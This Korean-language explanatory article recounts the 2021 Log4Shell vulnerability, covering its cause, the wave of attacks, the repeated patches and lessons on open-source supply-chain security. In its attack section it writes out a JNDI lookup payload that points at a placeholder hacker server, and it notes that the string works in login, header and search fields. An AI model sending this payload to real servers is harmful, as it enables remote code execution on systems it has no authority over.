2021년 12월 9일, 보안 업계에 비상이 걸렸다. Apache Log4j에서 제로데이 취약점이 발견됐다. CVE-2021-44228, 일명 Log4Shell. 심각도 점수는 10점 만점에 10점. 전 세계 Java 서버 수억 대가 위험에 노출됐다. 로그인 창에 문자열 하나 입력하면 서버를 통째로 장악할 수 있는, 악몽 같은 취약점이었다.

Log4j가 뭘까?

Log4j는 Java 진영의 사실상 표준 로깅 라이브러리다. Apache 재단이 관리하고, 2001년부터 쓰였다. Java로 서버를 만들면 거의 무조건 Log4j가 들어간다. 직접 안 썼어도 Spring, Elasticsearch, Kafka, Minecraft 서버까지 전부 Log4j를 쓴다. 20년간 별 탈 없이 돌아가던 라이브러리였다.

문제는 JNDI Lookup이라는 기능이었다. Log4j는 로그 메시지 안에 ${}로 감싼 표현식을 해석하는 기능이 있었다. ${java:version}을 로깅하면 Java 버전이 찍히는 식이다. 편리한 기능이었다. 그런데 이게 JNDI(Java Naming and Directory Interface)와 결합되면서 재앙이 됐다.

공격 원리

공격은 놀라울 정도로 간단했다.

${jndi:ldap://해커서버.com/exploit}

이 문자열이 로그에 찍히는 순간, Log4j는 이걸 단순 문자열로 처리하지 않는다. JNDI 표현식으로 인식하고, 해커 서버에 LDAP 요청을 보낸다. 해커 서버는 악성 Java 클래스의 위치를 응답한다. Log4j는 그 클래스를 다운로드해서 실행한다. 해커가 원하는 코드가 서버에서 돌아간다.

로그인 창에 저 문자열을 입력하면? 서버가 “로그인 실패: ${jndi:ldap://…}” 같은 로그를 남기면서 공격이 성공한다. User-Agent 헤더에 넣어도 된다. 검색창에 넣어도 된다. 로그로 남는 모든 입력이 공격 벡터가 된다.

세상이 불탔다

발표 직후 인터넷은 불바다가 됐다. Cloudflare는 발표 몇 시간 만에 분당 수천 건의 공격 시도를 탐지했다. 공격자들은 자동화 스크립트를 돌리며 전 세계 서버를 스캔했다. 취약한 서버를 찾으면 암호화폐 채굴기를 심거나, 랜섬웨어를 설치하거나, 백도어를 열어뒀다.

애플 iCloud, 아마존 AWS, 마인크래프트, 트위터, 링크드인, VMware, Cisco. 대형 서비스들이 줄줄이 영향권에 들어갔다. 마인크래프트에서는 채팅창에 공격 문자열을 입력하면 다른 플레이어의 클라이언트가 뚫리는 상황까지 벌어졌다.

패치의 혼란

12월 10일, Log4j 2.15.0이 나왔다. 취약점을 막은 버전이다. 하지만 끝이 아니었다. 며칠 뒤 2.15.0에서 또 다른 취약점이 발견됐다. 2.16.0이 나왔다. 그것도 불완전했다. 2.17.0이 나왔다. 일주일 사이에 세 번의 긴급 패치. 운영팀들은 미칠 지경이었다.

더 큰 문제는 Log4j가 어디에 있는지 파악하는 것이었다. 직접 의존성으로 넣은 경우는 그나마 쉽다. 하지만 다른 라이브러리가 Log4j를 의존하고, 그 라이브러리를 또 다른 라이브러리가 의존하는 경우는? 수백 개의 JAR 파일 속에 Log4j가 숨어있었다. 어떤 서버에 어떤 버전이 깔려있는지 파악하는 것만 며칠이 걸렸다.

무료 vs 유료의 차이

이 사태는 JDK 유료 지원의 가치를 여실히 보여줬다.

무료 사용자들은 뉴스를 보고 사태를 알게 됐다. 구글링으로 대응 방법을 찾았다. 커뮤니티 포럼에서 정보를 모았다. 패치가 나오면 직접 테스트하고 적용했다. 크리스마스 연휴 반납은 기본이었다.

유료 지원 계약을 맺은 기업들은 달랐다. 취약점이 공개되기 전, 벤더로부터 먼저 연락을 받았다. “긴급 보안 이슈가 있습니다. 대응 가이드를 보내드립니다.” 영향받는 시스템 목록, 임시 완화 조치, 패치 적용 절차가 정리된 문서가 왔다. 전담 엔지니어가 배정됐다. 새벽에 전화해도 받았다.

금융권 A사는 12월 10일 오전에 핵심 시스템 패치를 완료했다. 금융감독원 보고도 같은 날 끝냈다. B사는 12월 20일에도 일부 서버가 미패치 상태였다. 같은 취약점, 다른 대응. 차이는 연간 수천만 원의 지원 계약이었다.

교훈

Log4Shell은 몇 가지 불편한 진실을 드러냈다.

첫째, 오픈소스의 그림자다. Log4j는 전 세계가 의존하는 핵심 인프라였지만, 유지보수는 소수의 자원봉사자가 하고 있었다. 기업들은 공짜로 가져다 쓰면서 기여는 하지 않았다. 사고가 터지고 나서야 “누가 관리하는 거야?”라고 물었다.

둘째, 의존성 지옥이다. 현대 소프트웨어는 수십, 수백 개의 라이브러리 위에서 돌아간다. 그중 하나가 뚫리면 전체가 위험해진다. 내가 직접 작성한 코드는 1%도 안 되는데, 나머지 99%에서 사고가 터진다.

셋째, 보안은 보험이다. 평소에는 유료 지원이 돈 낭비처럼 보인다. 하지만 Log4Shell 같은 사태가 터지면? 하루 빨리 패치하는 것과 일주일 늦게 패치하는 것의 차이는 해킹당하느냐 마느냐의 차이다. 수천만 원 아끼려다 수십억 원 날릴 수 있다.

그 후

Log4Shell 이후 보안 업계는 바빠졌다. 소프트웨어 공급망 보안(Software Supply Chain Security)이 화두가 됐다. SBOM(Software Bill of Materials)이라는 개념이 주목받았다. 내 소프트웨어에 어떤 라이브러리가 들어있는지 목록을 관리하자는 것이다.

미국 정부는 연방 기관에 납품하는 소프트웨어에 SBOM을 요구하기 시작했다. GitHub는 의존성 취약점 알림 기능을 강화했다. 기업들은 오픈소스 보안 감사에 예산을 늘렸다.

Log4j 프로젝트는 아이러니하게도 사건 이후 더 건강해졌다. 관심과 후원이 늘었다. 보안 검토가 강화됐다. 하지만 Log4j만의 문제가 아니다. 비슷한 규모로 쓰이면서 비슷하게 방치된 오픈소스 프로젝트는 수두룩하다.

다음 Log4Shell은 언제 터질까. 아무도 모른다. 다만 확실한 건, 터질 거라는 것이다.